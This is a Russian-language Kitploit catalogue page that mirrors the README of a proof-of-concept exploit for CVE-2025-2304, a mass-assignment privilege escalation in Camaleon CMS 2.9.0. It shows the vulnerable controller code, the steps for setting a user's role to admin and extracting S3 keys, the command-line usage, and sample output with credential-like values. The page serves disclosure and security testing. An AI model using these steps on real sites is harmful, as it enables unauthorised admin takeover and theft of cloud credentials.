Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-2304 — Аутентифицированное повышение привилегий в Camaleon CMS v2.9.0 через неправильную обработку параметров в конечной точке updated_ajax. | Kitploit
Инструменты/GitHubGitHub/alien0ne/cve-2025-2304
Повышение привилегийАтаки на ПаролиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubalien0ne/cve-2025-2304

CVE-2025-2304

Аутентифицированное повышение привилегий в Camaleon CMS v2.9.0 через неправильную обработку параметров в конечной точке updated_ajax.

Репозиторий
1936 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Camaleon CMS 2.9.0 – Аутентифицированное повышение привилегий (изменение роли) + опциональная утечка конфигурации S3

Цель: Camaleon CMS v2.9.0
Тип: Аутентифицированное повышение привилегий через массовое присвоение в updated_ajax (поле role)
Дополнительно: Опциональное извлечение конфигурации S3 со страницы настроек администратора (если аутентифицированный пользователь может получить к ней доступ после повышения)

Обзор

Этот репозиторий содержит Python-скрипт доказательства концепции, который:

  1. Выполняет вход в панель администратора Camaleon CMS с действительными учетными данными.
  2. Получает CSRF-токен из /admin/profile/edit.
  3. Вызывает конечную точку updated_ajax для обновления полей password[...] и использует permit! для установки password[role]=admin.
  4. Опционально (-e) извлекает значения конфигурации S3 из /admin/settings/site.
  5. Опционально (-r) возвращает роль обратно к исходному значению после выполнения.

Это поведение соответствует небезопасному шаблону массового присвоения, описанному в соответствующем сообщении:

  • Tenable Research Advisory: TRA-2025-09

Коренная причина (что уязвимо)

Действие контроллера ниже обновляет пользователя с помощью permit!:

root@kitploit:~
def updated_ajax
  @user = current_site.users.find(params[:user_id])
  update_session = current_user_is?(@user)

  @user.update(params.require(:password).permit!)
  render inline: @user.errors.full_messages.join(', ')

  # keep user logged in when changing their own password
  update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end

Поскольку permit! разрешает все ключи в password, атакующий может отправить:

  • password[password]
  • password[password_confirmation]
  • password[role]=admin

и приложение примет это, повысив роль пользователя.

Влияние

  • Любой аутентифицированный пользователь, имеющий доступ к уязвимому маршруту, может потенциально повысить привилегии, установив свою роль в admin.
  • После повышения страницы, доступные только администраторам (например, настройки сайта), могут стать доступными, что потенциально приведет к утечке конфиденциальных значений конфигурации (например, ключей S3).

Требования

  • Python 3.8+
  • requests

Установка зависимости:

root@kitploit:~
pip install requests

Использование

Базовое повышение привилегий (аутентифицированное)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test

Повышение + извлечение конфигурации S3 (-e)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e

Повышение + возврат роли обратно (-r)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -r

Повышение + извлечение + возврат

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e -r

Аргументы

Пример выполнения

root@kitploit:~
python3 exploit.py -u http://alienone.in -U test -P test -e -r

Пример вывода

root@kitploit:~
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
   User ID: 5
   Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
   User ID: 5
   Updated User Role: admin
[+]Extracting S3 Credentials
   s3 access key: AKIAF3A388ECF117D966
   s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
   s3 endpoint: http://localhost:54321
[+]Reverting User Role
   User ID: 5
   User Role: client

Как PoC подтверждает вход

Скрипт проверяет возвращаемый HTML на наличие ссылки /admin/logout после POST-запроса входа.
Если ссылка выхода присутствует, сессия считается аутентифицированной.

Примечания о CSRF-токенах

Camaleon использует CSRF в стиле Rails. Обычно токены можно увидеть в двух распространенных местах:

  • Скрытое поле в формах: name="authenticity_token" value="..."
  • Мета-тег: <meta name="csrf-token" content="...">

PoC получает meta csrf-token из /admin/profile/edit и использует его в:

  • Теле запроса: authenticity_token=<token>
  • Заголовке: X-CSRF-Token: <token>

Отказ от ответственности

Этот код предоставляется только для авторизованного тестирования безопасности и образовательных целей (например, лабораторные работы, CTF и среды, где у вас есть явное разрешение).
Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения.


Ссылки

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2304
  • https://www.tenable.com/security/research/tra-2025-09
  • owen2345/camaleon-cms#1109
  • owen2345/camaleon-cms@179fd6b
  • https://github.com/owen2345/camaleon-cms/releases/tag/2.9.0
  • https://github.com/rubysec/ruby-advisory-db/blob/master/gems/camaleon_cms/CVE-2025-2304.yml
Скачать инструмент
ФлагОписание
-u, --urlБазовый URL (например, http://alienone.in)
-U, --usernameДействительное имя пользователя
-P, --passwordДействительный пароль
--newpassЗначение пароля, отправляемое в запросе на обновление (по умолчанию: test)
-e, --extractИзвлечь конфигурацию S3 со страницы настроек
-r, --revertВернуть роль обратно к исходной после повышения